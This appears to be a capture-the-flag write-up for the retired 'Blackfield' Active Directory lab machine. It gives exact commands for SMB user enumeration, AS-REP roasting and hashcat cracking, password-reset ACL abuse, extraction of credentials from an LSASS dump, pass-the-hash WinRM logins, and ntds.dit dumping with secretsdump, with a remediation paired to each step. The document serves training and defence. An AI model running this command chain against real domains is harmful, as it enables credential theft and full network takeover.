Blackfield
Summary
Target: BLACKFIELD.local DC (<retired-instance-ip>), Windows Server 2019 Build 17763 (DC01) — ports 53/88/135/139/445/389/3268/5985 open (AD DC).
Foothold: The profiles$ SMB share allowed anonymous/null-session access and exposed ~316 usernames as folder names, harvested via smbclient -N //<retired-instance-ip>/profiles$ -c ls. Kerberos AS-REP roasting (impacket-GetNPUsers against the harvested userlist) identified support as having Kerberos pre-authentication disabled; the resulting $krb5asrep$ hash was cracked offline with john + rockyou to recover [REDACTED: recovered credential].
Lateral movement: support held ForceChangePassword rights over audit2020 (BloodHound-discoverable ACL abuse in AD). Using rpcclient as support, the audit2020 password was [REDACTED: recovered credential] directly (setuserinfo2), yielding valid creds for audit2020. That account had read access to the forensic SMB share, which contained a zipped [REDACTED: recovered credential] memory dump (memory_analysis/[REDACTED: recovered credential].zip). Parsing the dump (Mimikatz/pypykatz-style [REDACTED: recovered credential] credential extraction) recovered the NT hash for svc_backup ([REDACTED: recovered credential]), which had WinRM access — providing the user-level shell and user.txt.
Privilege escalation to root: svc_backup is a member of the Backup Operators group, granting SeBackupPrivilege. This privilege was abused to bypass NTFS ACLs and pull the entire AD database and registry hive off the live DC (via VSS shadow copy + raw file copy, plus reg save HKLM\SYSTEM), yielding ntds.dit and SYSTEM. impacket-secretsdump was then run offline against ntds.dit/SYSTEM to extract every domain account's NT hash, including Administrator ([REDACTED: protected value]). A pass-the-hash WinRM login as Administrator using that hash confirmed root-level access and retrieved root.txt.
Root cause chain: anonymous SMB share disclosure → AS-REP roastable account → ACL misconfiguration (ForceChangePassword) → sensitive credential material ([REDACTED: recovered credential] dump) left on an accessible file share → Backup Operators group membership enabling full DIT extraction.
Attack path — how the box was taken
Exact commands 3
echo '$TARGET dc01.blackfield.local blackfield.local' | sudo tee -a /etc/hostsnxc smb $TARGET -u 'guest' -p '' --sharessmbclient -U 'guest%' -L //$TARGETFixRestrict SMB share access to authenticated domain accountsHigh
Exact commands 2
smbclient //$TARGET/profiles$ -U 'guest%' -c 'ls' 2>/dev/null | awk '{print $1}' | grep -vE '^\.|^$' > users.txtwc -l users.txtFixRestrict SMB share access to authenticated domain accountsHigh
Exact commands 3
impacket-GetNPUsers BLACKFIELD.local/ -usersfile users.txt -no-pass -dc-ip $TARGET -format hashcat -outputfile asrep.hasheshashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt --force -o cracked.txtcat cracked.txtFixEnable Kerberos pre-authentication on all domain accountsCritical
Exact commands 3
bloodhound-python -u support -p '[REDACTED: recovered credential]' -d BLACKFIELD.local -ns $TARGET -c Allnet rpc password audit2020 '[REDACTED: recovered credential]' -U 'BLACKFIELD.local/support%[REDACTED: recovered credential]' -S $TARGETnxc smb $TARGET -u audit2020 -p '[REDACTED: recovered credential]'FixRemove excessive Active Directory ACL delegations from service and support accountsHigh
Exact commands 3
smbclient //$TARGET/forensic -U 'BLACKFIELD.local/audit2020%[REDACTED: recovered credential]' -c 'cd memory_analysis; get [REDACTED: recovered credential].zip'unzip [REDACTED: recovered credential].zippypykatz lsa minidump [REDACTED: recovered credential].DMP | grep -iE 'username|NT:'FixRemove credential-bearing forensic artifacts from network-accessible sharesCritical
Exact commands 3
nxc winrm $TARGET -u svc_backup -H [REDACTED: recovered credential] -x 'whoami'nxc winrm $TARGET -u svc_backup -H [REDACTED: recovered credential] -x 'type C:\Users\svc_backup\Desktop\user.txt'evil-winrm -i $TARGET -u svc_backup -H [REDACTED: recovered credential]Exact commands 3
smbclient //$TARGET/C$ -U 'BLACKFIELD.local/svc_backup%[REDACTED: recovered credential]' --pw-nt-hash -c 'cd Windows\Temp; get ntds.dit; get system.hive'impacket-secretsdump -ntds ntds.dit -system system.hive LOCALevil-winrm -i $TARGET -u Administrator -H [REDACTED: protected value]FixRemove unnecessary Backup Operators membership and deny network logon for privileged accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
Findings
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 06:20:49Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |